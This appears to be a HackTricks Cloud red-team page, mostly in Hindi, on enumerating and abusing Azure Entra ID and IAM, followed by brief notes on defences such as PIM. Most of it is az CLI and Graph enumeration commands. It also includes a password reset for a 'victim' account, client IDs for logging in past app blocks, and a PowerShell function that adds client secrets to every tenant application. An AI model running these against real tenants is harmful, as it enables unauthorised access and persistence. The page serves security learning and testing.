Az - Entra ID (AzureAD) & Azure IAM
Reading time: 31 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।
Basic Information
Azure Active Directory (Azure AD) माइक्रोसॉफ्ट की पहचान और पहुँच प्रबंधन के लिए क्लाउड-आधारित सेवा है। यह कर्मचारियों को साइन इन करने और संसाधनों तक पहुँच प्राप्त करने में सहायक है, जो संगठन के भीतर और बाहर, Microsoft 365, Azure पोर्टल, और कई अन्य SaaS अनुप्रयोगों को शामिल करता है। Azure AD का डिज़ाइन आवश्यक पहचान सेवाओं को प्रदान करने पर केंद्रित है, जिसमें प्रमुख रूप से authentication, authorization, and user management शामिल हैं।
Azure AD की प्रमुख विशेषताओं में multi-factor authentication और conditional access शामिल हैं, साथ ही अन्य माइक्रोसॉफ्ट सुरक्षा सेवाओं के साथ सहज एकीकरण। ये विशेषताएँ उपयोगकर्ता पहचान की सुरक्षा को महत्वपूर्ण रूप से बढ़ाती हैं और संगठनों को उनकी पहुँच नीतियों को प्रभावी ढंग से लागू और प्रवर्तन करने में सक्षम बनाती हैं। माइक्रोसॉफ्ट के क्लाउड सेवाओं के पारिस्थितिकी तंत्र का एक मौलिक घटक होने के नाते, Azure AD उपयोगकर्ता पहचान के क्लाउड-आधारित प्रबंधन के लिए महत्वपूर्ण है।
Enumeration
Connection
az login #This will open the browser (if not use --use-device-code)
az login -u <username> -p <password> #Specify user and password
az login --identity #Use the current machine managed identity (metadata)
az login --identity -u /subscriptions/<subscriptionId>/resourcegroups/myRG/providers/Microsoft.ManagedIdentity/userAssignedIdentities/myID #Login with user managed identity
# Login as service principal
## With password
az login --service-principal -u <application ID> -p VerySecret --tenant contoso.onmicrosoft.com # Tenant can also be the tenant UUID
## With cert
az login --service-principal -u <application ID> -p ~/mycertfile.pem --tenant contoso.onmicrosoft.com
# Request access token (ARM)
az account get-access-token
# Request access token for different resource. Supported tokens: aad-graph, arm, batch, data-lake, media, ms-graph, oss-rdbms
az account get-access-token --resource-type aad-graph
# If you want to configure some defaults
az configure
# Get user logged-in already
az ad signed-in-user show
# Help
az find "vm" # Find vm commands
az vm -h # Get subdomains
az ad user list --query-examples # Get examples
जब आप CLI के माध्यम से Azure में किसी भी प्रोग्राम के साथ लॉगिन करते हैं, तो आप Microsoft के एक tenant से संबंधित Azure Application का उपयोग कर रहे हैं। ये Applications, जैसे कि आप अपने खाते में बना सकते हैं, एक क्लाइंट आईडी होती हैं। आप उनमें से सभी को नहीं देख पाएंगे जो आप कंसोल में अनुमत एप्लिकेशन सूचियों में देख सकते हैं, लेकिन वे डिफ़ॉल्ट रूप से अनुमत हैं।
उदाहरण के लिए, एक powershell script जो प्रमाणित करती है, एक ऐप का उपयोग करती है जिसकी क्लाइंट आईडी 1950a258-227b-4e31-a9cf-717495945fc2
है। भले ही ऐप कंसोल में दिखाई न दे, एक सिस्टम एडमिन उस एप्लिकेशन को ब्लॉक कर सकता है ताकि उपयोगकर्ता उस ऐप के माध्यम से कनेक्ट करने वाले उपकरणों का उपयोग न कर सकें।
हालांकि, अन्य एप्लिकेशनों की क्लाइंट-आईडी हैं जो आपको Azure से कनेक्ट करने की अनुमति देंगी:
# The important part is the ClientId, which identifies the application to login inside Azure
$token = Invoke-Authorize -Credential $credential `
-ClientId '1dfb5f98-f363-4b0f-b63a-8d20ada1e62d' `
-Scope 'Files.Read.All openid profile Sites.Read.All User.Read email' `
-Redirect_Uri "https://graphtryit-staging.azurewebsites.net/" `
-Verbose -Debug `
-InformationAction Continue
$token = Invoke-Authorize -Credential $credential `
-ClientId '65611c08-af8c-46fc-ad20-1888eb1b70d9' `
-Scope 'openid profile Sites.Read.All User.Read email' `
-Redirect_Uri "chrome-extension://imjekgehfljppdblckcmjggcoboemlah" `
-Verbose -Debug `
-InformationAction Continue
$token = Invoke-Authorize -Credential $credential `
-ClientId 'd3ce4cf8-6810-442d-b42e-375e14710095' `
-Scope 'openid' `
-Redirect_Uri "https://graphexplorer.azurewebsites.net/" `
-Verbose -Debug `
-InformationAction Continue
Tenants
# List tenants
az account tenant list
Users
Entra ID उपयोगकर्ताओं के बारे में अधिक जानकारी के लिए देखें:
# Enumerate users
az ad user list --output table
az ad user list --query "[].userPrincipalName"
# Get info of 1 user
az ad user show --id "test@corp.onmicrosoft.com"
# Search "admin" users
az ad user list --query "[].displayName" | findstr /i "admin"
az ad user list --query "[?contains(displayName,'admin')].displayName"
# Search attributes containing the word "password"
az ad user list | findstr /i "password" | findstr /v "null,"
# All users from Entra ID
az ad user list --query "[].{osi:onPremisesSecurityIdentifier,upn:userPrincipalName}[?osi==null]"
az ad user list --query "[?onPremisesSecurityIdentifier==null].displayName"
# All users synced from on-prem
az ad user list --query "[].{osi:onPremisesSecurityIdentifier,upn:userPrincipalName}[?osi!=null]"
az ad user list --query "[?onPremisesSecurityIdentifier!=null].displayName"
# Get groups where the user is a member
az ad user get-member-groups --id <email>
# Get roles assigned to the user in Azure (NOT in Entra ID)
az role assignment list --include-inherited --include-groups --include-classic-administrators true --assignee <email>
# Get ALL roles assigned in Azure in the current subscription (NOT in Entra ID)
az role assignment list --include-inherited --include-groups --include-classic-administrators true --all
# Get EntraID roles assigned to a user
## Get Token
export TOKEN=$(az account get-access-token --resource https://graph.microsoft.com/ --query accessToken -o tsv)
## Get users
curl -X GET "https://graph.microsoft.com/v1.0/users" \
-H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" | jq
## Get EntraID roles assigned to an user
curl -X GET "https://graph.microsoft.com/beta/rolemanagement/directory/transitiveRoleAssignments?\$count=true&\$filter=principalId%20eq%20'86b10631-ff01-4e73-a031-29e505565caa'" \
-H "Authorization: Bearer $TOKEN" \
-H "ConsistencyLevel: eventual" \
-H "Content-Type: application/json" | jq
## Get role details
curl -X GET "https://graph.microsoft.com/beta/roleManagement/directory/roleDefinitions/cf1c38e5-3621-4004-a7cb-879624dced7c" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" | jq
उपयोगकर्ता पासवर्ड बदलें
$password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText –Force
(Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "victim@corp.onmicrosoft.com"}).ObjectId | Set- AzureADUserPassword -Password $password –Verbose
MFA & Conditional Access Policies
हर उपयोगकर्ता के लिए MFA जोड़ना अत्यधिक अनुशंसित है, हालाँकि, कुछ कंपनियाँ इसे सेट नहीं करेंगी या इसे Conditional Access के साथ सेट कर सकती हैं: उपयोगकर्ता को MFA की आवश्यकता होगी यदि वह किसी विशेष स्थान, ब्राउज़र या कुछ शर्त से लॉग इन करता है। यदि इन नीतियों को सही तरीके से कॉन्फ़िगर नहीं किया गया तो ये bypasses के प्रति संवेदनशील हो सकती हैं। जांचें:
Az - Conditional Access Policies & MFA Bypass
Groups
Entra ID समूहों के बारे में अधिक जानकारी के लिए जांचें:
# Enumerate groups
az ad group list
az ad group list --query "[].[displayName]" -o table
# Get info of 1 group
az ad group show --group <group>
# Get "admin" groups
az ad group list --query "[].displayName" | findstr /i "admin"
az ad group list --query "[?contains(displayName,'admin')].displayName"
# All groups from Entra ID
az ad group list --query "[].{osi:onPremisesSecurityIdentifier,displayName:displayName,description:description}[?osi==null]"
az ad group list --query "[?onPremisesSecurityIdentifier==null].displayName"
# All groups synced from on-prem
az ad group list --query "[].{osi:onPremisesSecurityIdentifier,displayName:displayName,description:description}[?osi!=null]"
az ad group list --query "[?onPremisesSecurityIdentifier!=null].displayName"
# Get members of group
az ad group member list --group <group> --query "[].userPrincipalName" -o table
# Check if member of group
az ad group member check --group "VM Admins" --member-id <id>
# Get which groups a group is member of
az ad group get-member-groups -g "VM Admins"
# Get roles assigned to the group in Azure (NOT in Entra ID)
az role assignment list --include-groups --include-classic-administrators true --assignee <group-id>
# To get Entra ID roles assigned check how it's done with users and use a group ID
समूह में उपयोगकर्ता जोड़ें
समूह के मालिक नए उपयोगकर्ताओं को समूह में जोड़ सकते हैं
Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose
warning
समूह गतिशील हो सकते हैं, जिसका अर्थ है कि यदि एक उपयोगकर्ता कुछ शर्तों को पूरा करता है, तो उसे एक समूह में जोड़ा जाएगा। बेशक, यदि शर्तें गुणों पर आधारित हैं जिन्हें एक उपयोगकर्ता नियंत्रित कर सकता है, तो वह इस सुविधा का दुरुपयोग करके अन्य समूहों में प्रवेश कर सकता है।
गतिशील समूहों का दुरुपयोग कैसे करें, यह देखने के लिए निम्नलिखित पृष्ठ देखें:
सेवा प्रमुख
Entra ID सेवा प्रमुखों के बारे में अधिक जानकारी के लिए देखें:
# Get Service Principals
az ad sp list --all
az ad sp list --all --query "[].[displayName,appId]" -o table
# Get details of one SP
az ad sp show --id 00000000-0000-0000-0000-000000000000
# Search SP by string
az ad sp list --all --query "[?contains(displayName,'app')].displayName"
# Get owner of service principal
az ad sp owner list --id <id> --query "[].[displayName]" -o table
# Get service principals owned by the current user
az ad sp list --show-mine
# Get SPs with generated secret or certificate
az ad sp list --query '[?length(keyCredentials) > `0` || length(passwordCredentials) > `0`].[displayName, appId, keyCredentials, passwordCredentials]' -o json
warning
एक सेवा प्रिंसिपल का मालिक इसका पासवर्ड बदल सकता है।
प्रत्येक एंटरप्राइज ऐप पर क्लाइंट सीक्रेट जोड़ने की सूची और प्रयास करें
# Just call Add-AzADAppSecret
Function Add-AzADAppSecret
{
<#
.SYNOPSIS
Add client secret to the applications.
.PARAMETER GraphToken
Pass the Graph API Token
.EXAMPLE
PS C:\> Add-AzADAppSecret -GraphToken 'eyJ0eX..'
.LINK
https://docs.microsoft.com/en-us/graph/api/application-list?view=graph-rest-1.0&tabs=http
https://docs.microsoft.com/en-us/graph/api/application-addpassword?view=graph-rest-1.0&tabs=http
#>
[CmdletBinding()]
param(
[Parameter(Mandatory=$True)]
[String]
$GraphToken = $null
)
$AppList = $null
$AppPassword = $null
# List All the Applications
$Params = @{
"URI" = "https://graph.microsoft.com/v1.0/applications"
"Method" = "GET"
"Headers" = @{
"Content-Type" = "application/json"
"Authorization" = "Bearer $GraphToken"
}
}
try
{
$AppList = Invoke-RestMethod @Params -UseBasicParsing
}
catch
{
}
# Add Password in the Application
if($AppList -ne $null)
{
[System.Collections.ArrayList]$Details = @()
foreach($App in $AppList.value)
{
$ID = $App.ID
$psobj = New-Object PSObject
$Params = @{
"URI" = "https://graph.microsoft.com/v1.0/applications/$ID/addPassword"
"Method" = "POST"
"Headers" = @{
"Content-Type" = "application/json"
"Authorization" = "Bearer $GraphToken"
}
}
$Body = @{
"passwordCredential"= @{
"displayName" = "Password"
}
}
try
{
$AppPassword = Invoke-RestMethod @Params -UseBasicParsing -Body ($Body | ConvertTo-Json)
Add-Member -InputObject $psobj -NotePropertyName "Object ID" -NotePropertyValue $ID
Add-Member -InputObject $psobj -NotePropertyName "App ID" -NotePropertyValue $App.appId
Add-Member -InputObject $psobj -NotePropertyName "App Name" -NotePropertyValue $App.displayName
Add-Member -InputObject $psobj -NotePropertyName "Key ID" -NotePropertyValue $AppPassword.keyId
Add-Member -InputObject $psobj -NotePropertyName "Secret" -NotePropertyValue $AppPassword.secretText
$Details.Add($psobj) | Out-Null
}
catch
{
Write-Output "Failed to add new client secret to '$($App.displayName)' Application."
}
}
if($Details -ne $null)
{
Write-Output ""
Write-Output "Client secret added to : "
Write-Output $Details | fl *
}
}
else
{
Write-Output "Failed to Enumerate the Applications."
}
}
Applications
Applications के बारे में अधिक जानकारी के लिए देखें:
जब एक App उत्पन्न होता है, तो 2 प्रकार की अनुमतियाँ दी जाती हैं:
- Permissions जो Service Principal को दी जाती हैं
- Permissions जो app उपयोगकर्ता की तरफ से रख सकती है और उपयोग कर सकती है।
# List Apps
az ad app list
az ad app list --query "[].[displayName,appId]" -o table
# Get info of 1 App
az ad app show --id 00000000-0000-0000-0000-000000000000
# Search App by string
az ad app list --query "[?contains(displayName,'app')].displayName"
# Get the owner of an application
az ad app owner list --id <id> --query "[].[displayName]" -o table
# Get SPs owned by current user
az ad app list --show-mine
# Get apps with generated secret or certificate
az ad app list --query '[?length(keyCredentials) > `0` || length(passwordCredentials) > `0`].[displayName, appId, keyCredentials, passwordCredentials]' -o json
# Get Global Administrators (full access over apps)
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1b2256f9-46c1-4fc2-a125-5b2f51bb43b7/members"
# Get Application Administrators (full access over apps)
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1e92c3b7-2363-4826-93a6-7f7a5b53e7f9/members"
# Get Cloud Applications Administrators (full access over apps)
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/0d601d27-7b9c-476f-8134-8e7cd6744f02/members"
warning
एक ऐप जिसमें अनुमति AppRoleAssignment.ReadWrite
है, Global Admin में escalate कर सकता है।
अधिक जानकारी के लिए यहाँ देखें.
note
एक गुप्त स्ट्रिंग जिसका उपयोग एप्लिकेशन टोकन मांगते समय अपनी पहचान साबित करने के लिए करता है, वह एप्लिकेशन पासवर्ड है।
इसलिए, यदि आप इस पासवर्ड को ढूंढ लेते हैं, तो आप service principal के रूप में tenant के अंदर पहुँच सकते हैं।
ध्यान दें कि यह पासवर्ड केवल उत्पन्न होने पर ही दिखाई देता है (आप इसे बदल सकते हैं लेकिन फिर से प्राप्त नहीं कर सकते)।
एप्लिकेशन का स्वामी इसे पासवर्ड जोड़ सकता है (ताकि वह इसकी नकल कर सके)।
इन service principals के रूप में लॉगिन जोखिमपूर्ण के रूप में चिह्नित नहीं होते और इनमें MFA नहीं होगा।
Microsoft के सामान्य उपयोग किए जाने वाले App IDs की सूची https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications पर पाई जा सकती है।
Managed Identities
Managed Identities के बारे में अधिक जानकारी के लिए देखें:
# List all manged identities
az identity list --output table
# With the principal ID you can continue the enumeration in service principals
Azure Roles
Azure भूमिकाओं के बारे में अधिक जानकारी के लिए देखें:
# Get roles
az role definition list
# Get all assigned roles
az role assignment list --all --query "[].roleDefinitionName"
az role assignment list --all | jq '.[] | .roleDefinitionName,.scope'
# Get info of 1 role
az role definition list --name "AzureML Registry User"
# Get only custom roles
az role definition list --custom-role-only
# Get only roles assigned to the resource group indicated
az role definition list --resource-group <resource_group>
# Get only roles assigned to the indicated scope
az role definition list --scope <scope>
# Get all the principals a role is assigned to
az role assignment list --all --query "[].{principalName:principalName,principalType:principalType,scope:scope,roleDefinitionName:roleDefinitionName}[?roleDefinitionName=='<ROLE_NAME>']"
# Get all the roles assigned to a user
az role assignment list --assignee "<email>" --all --output table
# Get all the roles assigned to a user by filtering
az role assignment list --all --query "[?principalName=='admin@organizationadmin.onmicrosoft.com']" --output table
# Get deny assignments
az rest --method GET --uri "https://management.azure.com/{scope}/providers/Microsoft.Authorization/denyAssignments?api-version=2022-04-01"
## Example scope of subscription
az rest --method GET --uri "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/providers/Microsoft.Authorization/denyAssignments?api-version=2022-04-01"
Entra ID भूमिकाएँ
Azure भूमिकाओं के बारे में अधिक जानकारी के लिए देखें:
# List template Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoleTemplates"
# List enabled built-in Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles"
# List all Entra ID roles with their permissions (including custom roles)
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions"
# List only custom Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)'
# List all assigned Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments"
# List members of a Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles/<role-id>/members"
# List Entra ID roles assigned to a user
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/users/<user-id>/memberOf/microsoft.graph.directoryRole" \
--query "value[]" \
--output json
# List Entra ID roles assigned to a group
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/groups/$GROUP_ID/memberOf/microsoft.graph.directoryRole" \
--query "value[]" \
--output json
# List Entra ID roles assigned to a service principal
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$SP_ID/memberOf/microsoft.graph.directoryRole" \
--query "value[]" \
--output json
उपकरण
# If you know how to do this send a PR!
warning
यदि एक डिवाइस (VM) AzureAD से जुड़ा है, तो AzureAD के उपयोगकर्ता लॉगिन करने में सक्षम होंगे।
इसके अलावा, यदि लॉग इन किया हुआ उपयोगकर्ता डिवाइस का स्वामी है, तो वह स्थानीय व्यवस्थापक होगा।
प्रशासनिक इकाइयाँ
प्रशासनिक इकाइयों के बारे में अधिक जानकारी के लिए देखें:
# List all administrative units
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits"
# Get AU info
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53"
# Get members
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53/members"
# Get principals with roles over the AU
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53/scopedRoleMembers"
Entra ID विशेषाधिकार वृद्धि
Azure विशेषाधिकार वृद्धि
Az - Azure IAM Privesc (Authorization)
रक्षात्मक तंत्र
विशेषाधिकार पहचान प्रबंधन (PIM)
Azure में विशेषाधिकार पहचान प्रबंधन (PIM) अधिकतम विशेषाधिकार को अनावश्यक रूप से उपयोगकर्ताओं को सौंपने से रोकने में मदद करता है।
PIM द्वारा प्रदान की गई मुख्य विशेषताओं में से एक यह है कि यह लगातार सक्रिय प्रिंसिपलों को भूमिकाएँ सौंपने की अनुमति नहीं देता, बल्कि उन्हें एक निश्चित समय (जैसे 6 महीने) के लिए योग्य बनाता है। फिर, जब भी उपयोगकर्ता उस भूमिका को सक्रिय करना चाहता है, तो उसे उस समय को इंगित करते हुए इसके लिए अनुरोध करना होगा जिसकी उसे आवश्यकता है (जैसे 3 घंटे)। फिर एक व्यवस्थापक को अनुरोध को मंजूरी देने की आवश्यकता होती है।
ध्यान दें कि उपयोगकर्ता समय बढ़ाने के लिए भी अनुरोध कर सकेगा।
इसके अलावा, PIM ईमेल भेजता है जब किसी को विशेषाधिकार वाली भूमिका सौंपा जा रहा हो।
.png)
जब PIM सक्षम होता है, तो प्रत्येक भूमिका को कुछ आवश्यकताओं के साथ कॉन्फ़िगर करना संभव होता है जैसे:
- सक्रियण की अधिकतम अवधि (घंटे)
- सक्रियण पर MFA की आवश्यकता
- शर्तीय पहुँच प्रमाणीकरण संदर्भ की आवश्यकता
- सक्रियण पर औचित्य की आवश्यकता
- सक्रियण पर टिकट जानकारी की आवश्यकता
- सक्रिय करने के लिए अनुमोदन की आवश्यकता
- योग्य असाइनमेंट की समाप्ति के लिए अधिकतम समय
- जब उस भूमिका के साथ कुछ क्रियाएँ होती हैं, तो सूचनाएँ भेजने के लिए और भी बहुत सी कॉन्फ़िगरेशन
शर्तीय पहुँच नीतियाँ
जांचें:
Az - Conditional Access Policies & MFA Bypass
Entra पहचान सुरक्षा
Entra पहचान सुरक्षा एक सुरक्षा सेवा है जो यह पहचानने की अनुमति देती है कि जब कोई उपयोगकर्ता या साइन-इन बहुत जोखिम भरा होता है तो उसे स्वीकार नहीं किया जा सकता, जिससे उपयोगकर्ता या साइन-इन प्रयास को ब्लॉक किया जा सकता है।
यह व्यवस्थापक को इसे इस तरह कॉन्फ़िगर करने की अनुमति देता है कि जब जोखिम "कम और ऊपर", "मध्यम और ऊपर" या "उच्च" हो, तो प्रयासों को ब्लॉक किया जाए। हालाँकि, डिफ़ॉल्ट रूप से यह पूरी तरह से निष्क्रिय है:
.png)
tip
आजकल, इन प्रतिबंधों को शर्तीय पहुँच नीतियों के माध्यम से जोड़ने की सिफारिश की जाती है जहाँ समान विकल्पों को कॉन्फ़िगर करना संभव है।
Entra पासवर्ड सुरक्षा
Entra पासवर्ड सुरक्षा (https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade) एक सुरक्षा विशेषता है जो कमजोर पासवर्ड के दुरुपयोग को रोकने में मदद करती है जब कई असफल लॉगिन प्रयास होते हैं।
यह एक कस्टम पासवर्ड सूची को भी बैन करने की अनुमति देती है जिसे आपको प्रदान करना होगा।
यह क्लाउड स्तर और ऑन-प्रिमाइसेस सक्रिय निर्देशिका दोनों पर लागू किया जा सकता है।
डिफ़ॉल्ट मोड ऑडिट है:
.png)
संदर्भ
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।